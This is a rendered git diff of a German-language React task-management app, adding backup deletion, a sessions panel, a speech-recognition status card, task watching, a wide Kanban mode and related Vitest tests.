setError(err.message || 'Löschen fehlgeschlagen');
}
};
return ( return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3"> <div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-center justify-between gap-4"> <div className="flex items-center justify-between gap-4">
@@ -109,14 +119,25 @@ export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSa
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)} {new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
</p> </p>
</div> </div>
<button <div className="flex items-center gap-1.5 shrink-0">
type="button" <button
onClick={() => download(f.name)} type="button"
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0" onClick={() => download(f.name)}
> className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
<Download className="w-3.5 h-3.5" /> >
Download <Download className="w-3.5 h-3.5" />
</button> Download
</button>
<button
type="button"
onClick={() => remove(f.name)}
title="Backup löschen"
aria-label={`Backup ${f.name} löschen`}
className="btn-action h-11 w-11 sm:h-7 sm:w-7 inline-flex items-center justify-center text-faint hover:text-status-err"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
</div> </div>
)) ))
)} )}
@@ -0,0 +1,110 @@
import { useEffect, useState } from 'react';
import { LogOut, Monitor, Smartphone } from 'lucide-react';
import { api } from '../../lib/api';
import { Session } from '../../lib/types';
// Rough device label from the user agent; good enough to tell one's own devices apart
export function describeDevice(ua: string): { label: string; mobile: boolean } {
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
const browser = /Edg\//.test(ua)
? 'Edge'
: /Firefox\//.test(ua)
? 'Firefox'
: /Chrome\//.test(ua)
? 'Chrome'
: /Safari\//.test(ua)
? 'Safari'
: 'Browser';
const os = /Android/.test(ua)
? 'Android'
: /iPhone|iPad/.test(ua)
? 'iOS'
: /Windows/.test(ua)
? 'Windows'
: /Mac OS X/.test(ua)
? 'macOS'
: /Linux/.test(ua)
? 'Linux'
: '';
return { label: os ? `${browser} auf ${os}` : browser, mobile };
}
function formatLastUsed(iso: string): string {
const d = new Date(iso);
if (isNaN(d.getTime())) return '';
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
if (minutes < 10) return 'gerade aktiv';
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
}
export function SessionsPanel() {
const [sessions, setSessions] = useState<Session[] | null>(null);
const [error, setError] = useState('');
const [ending, setEnding] = useState('');
const load = async () => {
try {
const list = await api.listSessions();
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
setError('');
} catch (err: any) {
setError(err.message || 'Sitzungen konnten nicht geladen werden');
}
};
useEffect(() => {
void load();
}, []);
const endSession = async (id: string) => {
setEnding(id);
try {
await api.endSession(id);
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
} catch (err: any) {
setError(err.message || 'Sitzung konnte nicht beendet werden');
} finally {
setEnding('');
}
};
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
return (
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
{sessions.map((s) => {
const device = describeDevice(s.userAgent);
const Icon = device.mobile ? Smartphone : Monitor;
return (
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
<Icon size={16} className="text-muted shrink-0" />
<div className="min-w-0 flex-1">
<p className="font-semibold text-main truncate">
{device.label}
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
</p>
<p className="text-[11px] text-faint truncate">
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
</p>
</div>
{!s.current && (
<button
type="button"
onClick={() => endSession(s.id)}
disabled={ending === s.id}
title="Dieses Gerät abmelden"
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
>
<LogOut size={13} />
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
</button>
)}
</li>
);
})}
</ul>
);
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,189 @@
import React, { useEffect, useRef, useState } from 'react';
import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
import { api } from '../../lib/api';
import { VoiceAdminStatus } from '../../lib/types';
const TEST_SECONDS = 6;
// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
// just shows the state and offers a short test recording through the own Whisper server.
export const VoiceStatusCard: React.FC = () => {
const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
const [loading, setLoading] = useState(false);
const [error, setError] = useState<string | null>(null);
const [recording, setRecording] = useState(false);
const [testing, setTesting] = useState(false);
const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
const recorderRef = useRef<MediaRecorder | null>(null);
const stopTimerRef = useRef<number | null>(null);
const load = async () => {
setLoading(true);
try {
setInfo(await api.adminVoiceStatus());
setError(null);
} catch (err: any) {
setError(err.message || 'Status konnte nicht geladen werden');
} finally {
setLoading(false);
}
};
useEffect(() => {
void load();
return () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
};
}, []);
const stopRecording = () => {
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
stopTimerRef.current = null;
if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
};
const startTest = async () => {
setResult(null);
setError(null);
let stream: MediaStream;
try {
stream = await navigator.mediaDevices.getUserMedia({ audio: true });
} catch {
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
const recorder = new MediaRecorder(stream);
const chunks: Blob[] = [];
recorder.ondataavailable = (e) => {
if (e.data.size > 0) chunks.push(e.data);
};
recorder.onstop = async () => {
stream.getTracks().forEach((t) => t.stop());
setRecording(false);
setTesting(true);
const started = performance.now();
try {
const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
setResult({ text, ms: Math.round(performance.now() - started) });
} catch (err: any) {
setError(err.message || 'Spracherkennung fehlgeschlagen');
} finally {
setTesting(false);
}
};
recorderRef.current = recorder;
recorder.start();
setRecording(true);
stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
};
const status = info?.status;
const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-start justify-between gap-3">
<div>
<h3 className="font-bold text-main flex items-center gap-1.5">
<Mic className="w-4 h-4 text-accent" />
Spracherkennung
</h3>
<p className="text-muted mt-0.5">
Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
<code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
</p>
</div>
<button
type="button"
onClick={load}
disabled={loading}
title="Status neu prüfen"
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
>
<RefreshCw className="w-3.5 h-3.5" />
</button>
</div>
{info && (
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
<dt className="text-muted">Aktiv</dt>
<dd className="text-main font-semibold">
{info.mode === 'server'
? 'Eigener Server (Whisper)'
: info.mode === 'off'
? 'Ausgeschaltet'
: info.demo && info.url
? 'Browser (in der Demo immer)'
: 'Browser (Spracherkennung des Browsers)'}
</dd>
{info.url && (
<>
<dt className="text-muted">Server</dt>
<dd className="text-main font-mono break-all">{info.url}</dd>
<dt className="text-muted">Modell</dt>
<dd className="text-main font-mono break-all">{info.model}</dd>
<dt className="text-muted">Sprache</dt>
<dd className="text-main">{info.language || 'automatisch'}</dd>
</>
)}
{info.mode === 'server' && (
<>
<dt className="text-muted">Zustand</dt>
<dd className="flex items-center gap-1.5">
{serverOk ? (
<span className="text-status-ok flex items-center gap-1">
<Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
</span>
) : (
<span className="text-status-err flex items-center gap-1">
<AlertCircle className="w-3.5 h-3.5" />
{status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
{status?.error && !status.reachable ? `: ${status.error}` : ''}
</span>
)}
</dd>
<dt className="text-muted">Grenzen</dt>
<dd className="text-main">
{Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
</dd>
</>
)}
</dl>
)}
{info?.mode === 'server' && (
<div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
{recording ? (
<button
type="button"
onClick={stopRecording}
className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
>
<Square className="w-3.5 h-3.5" /> Aufnahme beenden
</button>
) : (
<button
type="button"
onClick={startTest}
disabled={testing}
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
>
{testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
{testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
</button>
)}
{recording && <span className="text-muted">Sprich jetzt …</span>}
{result && (
<span className="text-main">
„{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
</span>
)}
</div>
)}
{error && <p className="text-status-err text-xs">{error}</p>}
</div>
);
};
@@ -0,0 +1,142 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { UserSettingsView } from '../UserSettingsView';
import { api } from '../../../lib/api';
import { User } from '../../../lib/types';
vi.mock('../../../lib/api', async () => {
const actual = await vi.importActual<typeof import('../../../lib/api')>('../../../lib/api');
return {
...actual,
api: {
...actual.api,
getMe: vi.fn(async () => ({ isLastAdmin: false })),
getAuthStatus: vi.fn(async () => ({ demoMode: false })),
getPushDevices: vi.fn(async () => []),
updateSettings: vi.fn(async (patch) => ({ ...baseUser, ...patch })),
},
};
});
const baseUser: User = {
id: 'u1',
email: 'anna@example.com',
displayName: 'Anna',
role: 'member',
isActive: true,
alarmChannels: ['email'],
createdAt: '2026-10-30T00:00:00Z',
};
describe('UserSettingsView notification matrix', () => {
beforeEach(() => {
vi.clearAllMocks();
});
it('derives events.due from alarmChannels, disables Discord without webhook, and saves the exact notificationSettings object', async () => {
const onUserUpdated = vi.fn();
render(
<UserSettingsView
currentUser={baseUser}
activeTheme="dark"
themes={[]}
customThemes={[]}
onThemeChange={() => {}}
onCustomThemesChange={() => {}}
onUserUpdated={onUserUpdated}
onBack={() => {}}
/>
);
// Open "Alarme" section
fireEvent.click(screen.getByText('Alarme'));
// Without Discord webhook, Discord switches are disabled and hint is visible
const discordSwitches = screen.getAllByTitle('Bitte zuerst unten eine Discord Webhook URL eintragen');
expect(discordSwitches.length).toBe(5);
expect((discordSwitches[0] as HTMLButtonElement).disabled).toBe(true);
expect(screen.getByText(/Discord-Schalter sind deaktiviert/)).toBeTruthy();
// Enter a Discord Webhook URL to enable the Discord column
fireEvent.change(screen.getByPlaceholderText(/https:\/\/discord\.com\/api\/webhooks/), {
target: { value: 'https://discord.com/api/webhooks/123/abc' },
});
// Derive check: alarmChannels=['email'] -> due.email=true, due.discord=false
expect(screen.getByTitle('Fällige Aufgaben (sofort) – E-Mail').getAttribute('aria-checked')).toBe('true');
expect(screen.getByTitle('Fällige Aufgaben (sofort) – Discord').getAttribute('aria-checked')).toBe('false');
// Toggle settings in the matrix, daily summary, and global switches
fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Discord'));
fireEvent.click(screen.getByTitle('Geteilte Aufgabe erledigt – E-Mail'));
fireEvent.click(screen.getByTitle('Beobachtete Aufgaben – Discord'));
fireEvent.click(screen.getByTitle('Alle Benachrichtigungen pausieren'));
fireEvent.click(screen.getByTitle('Auch eigene Änderungen an beobachteten Aufgaben melden'));
fireEvent.click(screen.getByTitle('Tageszusammenfassung'));
fireEvent.change(screen.getByLabelText('Uhrzeit der Tageszusammenfassung'), {
target: { value: '08:30' },
});
fireEvent.click(screen.getByTitle('Tageszusammenfassung – Discord'));
fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
expect(api.updateSettings).toHaveBeenCalledWith(
expect.objectContaining({
discordWebhookUrl: 'https://discord.com/api/webhooks/123/abc',
notificationSettings: {
paused: true,
includeOwnWatched: true,
events: {
due: { email: true, discord: true, webhook: false, push: false },
shared: { email: true, discord: false, webhook: false, push: false },
taskDone: { email: true, discord: false, webhook: false, push: false },
watched: { email: true, discord: false, webhook: false, push: false },
},
dailySummary: {
enabled: true,
time: '08:30',
email: true,
discord: true,
webhook: false,
push: false,
},
},
})
);
});
it('enables the webhook column once an own webhook URL is entered and saves it as due channel', async () => {
render(
<UserSettingsView
currentUser={baseUser}
activeTheme="dark"
themes={[]}
customThemes={[]}
onThemeChange={() => {}}
onCustomThemesChange={() => {}}
onUserUpdated={() => {}}
onBack={() => {}}
/>
);
fireEvent.click(screen.getByText('Alarme'));
const off = screen.getAllByTitle('Bitte zuerst unten eine eigene Webhook URL eintragen');
expect(off.length).toBe(5);
expect((off[0] as HTMLButtonElement).disabled).toBe(true);
fireEvent.change(screen.getByPlaceholderText(/dein-server\.local/), {
target: { value: 'https://hooks.example.com/mindsift' },
});
fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Webhook'));
fireEvent.click(screen.getByTitle('Freigabe erhalten – Webhook'));
fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
const patch = vi.mocked(api.updateSettings).mock.calls[0][0];
expect(patch.customWebhookUrl).toBe('https://hooks.example.com/mindsift');
expect(patch.alarmChannels).toEqual(['email', 'webhook']);
expect(patch.notificationSettings?.events.due.webhook).toBe(true);
expect(patch.notificationSettings?.events.shared.webhook).toBe(true);
});
});
@@ -0,0 +1,24 @@
import { describe, expect, it } from 'vitest';
import { describeDevice } from '../SessionsPanel';
describe('describeDevice', () => {
it('names browser and system', () => {
expect(
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
).toEqual({ label: 'Firefox auf Linux', mobile: false });
expect(
describeDevice(
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
)
).toEqual({ label: 'Safari auf iOS', mobile: true });
expect(
describeDevice(
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
).label
).toBe('Edge auf Windows');
});
it('falls back for empty agents', () => {
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
});
});
@@ -15,11 +15,13 @@ import {
Lock, Lock,
UserPlus, UserPlus,
Repeat, Repeat,
Eye,
EyeOff,
} from 'lucide-react'; } from 'lucide-react';
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types'; import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { UserAvatar } from '../../components/UserAvatar'; import { UserAvatar } from '../../components/UserAvatar';
import { UserAutocomplete } from '../UserAutocomplete'; import { UserAutocomplete } from '../UserAutocomplete';
import { triggerHaptic } from '../../lib/api'; import { api, triggerHaptic } from '../../lib/api';
import { MarkdownViewer } from '../../lib/markdown'; import { MarkdownViewer } from '../../lib/markdown';
import { addDays, joinDue, splitDue } from '../../lib/due'; import { addDays, joinDue, splitDue } from '../../lib/due';
@@ -90,13 +92,32 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
const [newSubtaskTitle, setNewSubtaskTitle] = useState(''); const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
const [newTagDraft, setNewTagDraft] = useState(''); const [newTagDraft, setNewTagDraft] = useState('');
const [isWatching, setIsWatching] = useState<boolean>(Boolean(task.isWatching));
const [watchBusy, setWatchBusy] = useState(false);
useEffect(() => { useEffect(() => {
setTitleDraft(task.content); setTitleDraft(task.content);
setNotesDraft(task.notes || ''); setNotesDraft(task.notes || '');
setIsEditingTitle(false); setIsEditingTitle(false);
setIsEditingNotes(false); setIsEditingNotes(false);
}, [task.id]); setIsWatching(Boolean(task.isWatching));
}, [task.id, task.isWatching]);
const handleToggleWatch = async () => {
if (watchBusy) return;
setWatchBusy(true);
try {
const res = isWatching ? await api.unwatchTask(task.id) : await api.watchTask(task.id);
const next = Boolean(res.watching);
setIsWatching(next);
task.isWatching = next;
triggerHaptic(10);
} catch {
// ignore
} finally {
setWatchBusy(false);
}
};
// Handle escape key to close // Handle escape key to close
useEffect(() => { useEffect(() => {
@@ -226,6 +247,27 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
</div> </div>
<div className="flex items-center gap-1.5"> <div className="flex items-center gap-1.5">
<button
type="button"
onClick={handleToggleWatch}
disabled={watchBusy}
title={isWatching ? 'Nicht mehr beobachten' : 'Beobachten'}
className={`btn-action min-h-[44px] sm:min-h-0 h-11 sm:h-7 px-2.5 sm:px-2 text-xs flex items-center gap-1.5 ${
isWatching ? 'border-accent text-accent' : ''
}`}
>
{isWatching ? (
<>
<EyeOff className="w-4 h-4 sm:w-3.5 sm:h-3.5 text-accent" />
<span>Nicht mehr beobachten</span>
</>
) : (
<>
<Eye className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
<span>Beobachten</span>
</>
)}
</button>
{(task.convertedType === 'document_block' || task.docId) ? ( {(task.convertedType === 'document_block' || task.docId) ? (
<button <button
type="button" type="button"
+198 -41
View File
@@ -8,6 +8,8 @@ import {
FileText, FileText,
LayoutList, LayoutList,
Columns, Columns,
Maximize2,
Minimize2,
ArrowRight, ArrowRight,
ArrowLeft, ArrowLeft,
Edit3, Edit3,
@@ -28,6 +30,8 @@ import {
} from 'lucide-react'; } from 'lucide-react';
import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types'; import { TaskList, Thought, SubTask, Team, User, TaskListMember, KanbanColumn, PriorityLevel, Recurrence, RECURRENCE_LABELS } from '../../lib/types';
import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due'; import { formatDue, isDueToday, isOverdue, localDay, splitDue } from '../../lib/due';
import { readViewSession, writeViewSession } from '../../lib/viewSession';
import { useKanbanTouchDrag } from './useKanbanTouchDrag';
import { api, triggerHaptic } from '../../lib/api'; import { api, triggerHaptic } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal'; import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { TaskDetailModal } from './TaskDetailModal'; import { TaskDetailModal } from './TaskDetailModal';
@@ -37,6 +41,21 @@ import { CountBadge } from '../../components/CountBadge';
import { FormSheet } from '../../components/FormSheet'; import { FormSheet } from '../../components/FormSheet';
import { useMobileActions } from '../../context/MobileActionContext'; import { useMobileActions } from '../../context/MobileActionContext';
// Drag & drop needs a mouse or pen; on touch-only devices a draggable row can swallow a slightly
// longer tap, so the row would not open
const canDragTasks =
typeof window !== 'undefined' && !!window.matchMedia?.('(any-pointer: fine)').matches;
// Rows inside a task card keep taps on their own controls; taps on empty space or plain labels
// (due date, webhook) reach the card and open the task
const stopOnControl = (e: React.MouseEvent) => {
if ((e.target as HTMLElement).closest('button, select, a, input')) e.stopPropagation();
};
// Same rule as the server's task query: a fresh Quick Dump note (status inbox) is no task yet
const isTaskThought = (t: Thought) =>
t.status === 'kept' || (t.status === 'converted' && t.convertedType === 'task');
interface TasksViewProps { interface TasksViewProps {
currentUser?: User | null; currentUser?: User | null;
onRefreshStats: () => void; onRefreshStats: () => void;
@@ -46,6 +65,26 @@ interface TasksViewProps {
openTasksCount?: number; // all open tasks incl. shared lists (same as the nav bar counter) openTasksCount?: number; // all open tasks incl. shared lists (same as the nav bar counter)
} }
const KANBAN_WIDE_KEY = 'mindsift:kanban_wide';
// Wide Kanban: a column grows to at most this width, the board stays centred
const KANBAN_COL_MAX = 380;
const KANBAN_GAP = 12; // gap-3
// Only the board leaves the page column (header and "new task" keep their width): its width follows
// the columns (at most KANBAN_COL_MAX each, at most the window) and a margin keeps it centred – a
// negative one when it is wider than the page column. Width and margin are animated.
const kanbanBoardStyle = (wide: boolean, columns: number): React.CSSProperties => {
if (!wide) return { '--kanban-w': '100%', '--kanban-ml': '0px' } as React.CSSProperties;
const w = `min(100vw - 4rem, ${columns * KANBAN_COL_MAX + (columns - 1) * KANBAN_GAP}px)`;
return {
'--kanban-cols': columns,
'--kanban-w': w,
'--kanban-ml': `calc((100% - ${w}) / 2)`,
} as React.CSSProperties;
};
type TasksSession = { listId: string; viewMode: 'list' | 'kanban' };
export const TasksView: React.FC<TasksViewProps> = ({ export const TasksView: React.FC<TasksViewProps> = ({
currentUser, currentUser,
onRefreshStats, onRefreshStats,
@@ -54,11 +93,37 @@ export const TasksView: React.FC<TasksViewProps> = ({
initialSelectedTaskId, initialSelectedTaskId,
openTasksCount, openTasksCount,
}) => { }) => {
const [viewMode, setViewMode] = useState<'list' | 'kanban'>('list'); // Open list and view survive switching to other tabs (like the workspace's open note)
const [viewMode, setViewMode] = useState<'list' | 'kanban'>(() =>
readViewSession<TasksSession>('tasks').viewMode === 'kanban' ? 'kanban' : 'list'
);
// Wide Kanban: the board takes the whole window and shows every column in one row
const [kanbanWide, setKanbanWide] = useState(() => {
try {
return localStorage.getItem(KANBAN_WIDE_KEY) === '1';
} catch {
return false;
}
});
const toggleKanbanWide = () => {
const next = !kanbanWide;
setKanbanWide(next);
try {
localStorage.setItem(KANBAN_WIDE_KEY, next ? '1' : '0');
} catch {
// only a convenience
}
};
const isKanbanWide = viewMode === 'kanban' && kanbanWide;
const [filter, setFilter] = useState<'open' | 'done' | 'discarded'>('open'); const [filter, setFilter] = useState<'open' | 'done' | 'discarded'>('open');
const [tasks, setTasks] = useState<Thought[]>([]); const [tasks, setTasks] = useState<Thought[]>([]);
const [taskLists, setTaskLists] = useState<TaskList[]>([]); const [taskLists, setTaskLists] = useState<TaskList[]>([]);
const [selectedListId, setSelectedListId] = useState<string>('all'); const [selectedListId, setSelectedListId] = useState<string>(
() => readViewSession<TasksSession>('tasks').listId || 'all'
);
useEffect(() => {
writeViewSession<TasksSession>('tasks', { listId: selectedListId, viewMode });
}, [selectedListId, viewMode]);
const [teams, setTeams] = useState<Team[]>([]); const [teams, setTeams] = useState<Team[]>([]);
const [collaborators, setCollaborators] = useState<User[]>([]); const [collaborators, setCollaborators] = useState<User[]>([]);
const [discarded, setDiscarded] = useState<Thought[]>([]); const [discarded, setDiscarded] = useState<Thought[]>([]);
@@ -68,6 +133,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
const [draggingTaskId, setDraggingTaskId] = useState<string | null>(null); const [draggingTaskId, setDraggingTaskId] = useState<string | null>(null);
const [dragOverTaskTarget, setDragOverTaskTarget] = useState<{ taskId: string; position: 'before' | 'after' } | null>(null); const [dragOverTaskTarget, setDragOverTaskTarget] = useState<{ taskId: string; position: 'before' | 'after' } | null>(null);
const [dragOverKanbanCol, setDragOverKanbanCol] = useState<string | null>(null); const [dragOverKanbanCol, setDragOverKanbanCol] = useState<string | null>(null);
// List tab a dragged task hovers over (dropping moves it into that list)
const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
// Quick Task Add state // Quick Task Add state
const [quickTitle, setQuickTitle] = useState(''); const [quickTitle, setQuickTitle] = useState('');
@@ -147,6 +214,10 @@ export const TasksView: React.FC<TasksViewProps> = ({
loadedListRef.current = listId; loadedListRef.current = listId;
setTasks(Array.isArray(allTasks) ? allTasks : []); setTasks(Array.isArray(allTasks) ? allTasks : []);
setTaskLists(Array.isArray(allLists) ? allLists : []); setTaskLists(Array.isArray(allLists) ? allLists : []);
// The remembered list was deleted or unshared meanwhile
if (listId !== 'all' && Array.isArray(allLists) && !allLists.some((l) => l.id === listId)) {
setSelectedListId('all');
}
setTeams(Array.isArray(allTeams) ? allTeams : []); setTeams(Array.isArray(allTeams) ? allTeams : []);
setCollaborators(Array.isArray(allCollabs) ? allCollabs : []); setCollaborators(Array.isArray(allCollabs) ? allCollabs : []);
setDiscarded(Array.isArray(allDiscarded) ? allDiscarded : []); setDiscarded(Array.isArray(allDiscarded) ? allDiscarded : []);
@@ -175,13 +246,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
if (msg.event === 'TASK_CREATED') { if (msg.event === 'TASK_CREATED') {
const created = msg.payload as Thought; const created = msg.payload as Thought;
if ( if (created && isTaskThought(created)) {
created &&
(created.status === 'converted' ||
created.kanbanStatus ||
created.taskListId ||
created.isCompleted !== undefined)
) {
setTasks((prev) => { setTasks((prev) => {
if (prev.some((t) => t.id === created.id)) return prev; if (prev.some((t) => t.id === created.id)) return prev;
if (selectedListIdRef.current !== 'all' && created.taskListId !== selectedListIdRef.current) return prev; if (selectedListIdRef.current !== 'all' && created.taskListId !== selectedListIdRef.current) return prev;
@@ -196,17 +261,18 @@ export const TasksView: React.FC<TasksViewProps> = ({
const exists = prev.some((t) => t.id === updated.id); const exists = prev.some((t) => t.id === updated.id);
if (!exists) { if (!exists) {
if ( if (
(updated.status === 'converted' || isTaskThought(updated) &&
updated.kanbanStatus ||
updated.taskListId ||
updated.isCompleted !== undefined) &&
(selectedListIdRef.current === 'all' || updated.taskListId === selectedListIdRef.current) (selectedListIdRef.current === 'all' || updated.taskListId === selectedListIdRef.current)
) { ) {
return [updated, ...prev]; return [updated, ...prev];
} }
return prev; return prev;
} }
if (selectedListIdRef.current !== 'all' && updated.taskListId !== selectedListIdRef.current) { // Undone back into the Quick Dump, discarded, or moved to another list
if (
!isTaskThought(updated) ||
(selectedListIdRef.current !== 'all' && updated.taskListId !== selectedListIdRef.current)
) {
return prev.filter((t) => t.id !== updated.id); return prev.filter((t) => t.id !== updated.id);
} }
return prev.map((t) => (t.id === updated.id ? updated : t)); return prev.map((t) => (t.id === updated.id ? updated : t));
@@ -497,6 +563,35 @@ export const TasksView: React.FC<TasksViewProps> = ({
onRefreshStats(); onRefreshStats();
}; };
// A task dragged onto a list tab lands in that list like a new task: it keeps its Kanban status
// if the list has that column, otherwise it starts in the list's first column
const handleDropOnListTab = async (e: React.DragEvent, list: TaskList) => {
e.preventDefault();
const sourceId = e.dataTransfer.getData('application/mindsift-task-id') || draggingTaskId;
setDraggingTaskId(null);
setDragOverTaskTarget(null);
setDragOverKanbanCol(null);
setDragOverListTab(null);
const task = tasks.find((t) => t.id === sourceId);
if (!task || task.taskListId === list.id || list.permission === 'viewer') return;
triggerHaptic(15);
const columns = Array.isArray(list.columns) && list.columns.length > 0 ? list.columns : globalColumns;
const keepStatus = !task.kanbanStatus || columns.some((c) => c.id === task.kanbanStatus);
const kanbanStatus = keepStatus ? task.kanbanStatus : (columns.find((c) => !c.isDone) || columns[0])?.id;
setTasks((prev) =>
selectedListId !== 'all'
? prev.filter((t) => t.id !== task.id)
: prev.map((t) => (t.id === task.id ? { ...t, taskListId: list.id, kanbanStatus } : t))
);
try {
await api.updateThought(task.id, { taskListId: list.id, ...(keepStatus ? {} : { kanbanStatus }) });
} catch {
loadData();
}
api.getTaskLists().then((lists) => setTaskLists(Array.isArray(lists) ? lists : [])).catch(() => {});
onRefreshStats();
};
const handleUpdateTaskNotes = async (task: Thought, newNotes: string) => { const handleUpdateTaskNotes = async (task: Thought, newNotes: string) => {
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, notes: newNotes } : t))); setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, notes: newNotes } : t)));
await api.updateThought(task.id, { notes: newNotes }); await api.updateThought(task.id, { notes: newNotes });
@@ -713,7 +808,11 @@ export const TasksView: React.FC<TasksViewProps> = ({
setDraggingTaskId(null); setDraggingTaskId(null);
setDragOverTaskTarget(null); setDragOverTaskTarget(null);
setDragOverKanbanCol(null); setDragOverKanbanCol(null);
await moveTaskNextTo(sourceId, targetTask, position, newKanbanCol);
};
// Shared by mouse drag & drop and the touch drag on the Kanban board
const moveTaskNextTo = async (sourceId: string | null, targetTask: Thought, position: 'before' | 'after', newKanbanCol?: string) => {
if (!sourceId || sourceId === targetTask.id) return; if (!sourceId || sourceId === targetTask.id) return;
triggerHaptic(15); triggerHaptic(15);
@@ -770,7 +869,10 @@ export const TasksView: React.FC<TasksViewProps> = ({
setDraggingTaskId(null); setDraggingTaskId(null);
setDragOverTaskTarget(null); setDragOverTaskTarget(null);
setDragOverKanbanCol(null); setDragOverKanbanCol(null);
await moveTaskToColumn(sourceId, colId);
};
const moveTaskToColumn = async (sourceId: string | null, colId: string) => {
if (!sourceId) return; if (!sourceId) return;
triggerHaptic(15); triggerHaptic(15);
@@ -811,6 +913,28 @@ export const TasksView: React.FC<TasksViewProps> = ({
} }
}; };
// Kanban with a finger: hold a card, drag it, let go (mouse and pen use HTML5 drag & drop)
const clearDragState = () => {
setDraggingTaskId(null);
setDragOverTaskTarget(null);
setDragOverKanbanCol(null);
};
const kanbanTouch = useKanbanTouchDrag({
enabled: !canDragTasks && viewMode === 'kanban',
onStart: (taskId) => setDraggingTaskId(taskId),
onHover: (colId, target) => {
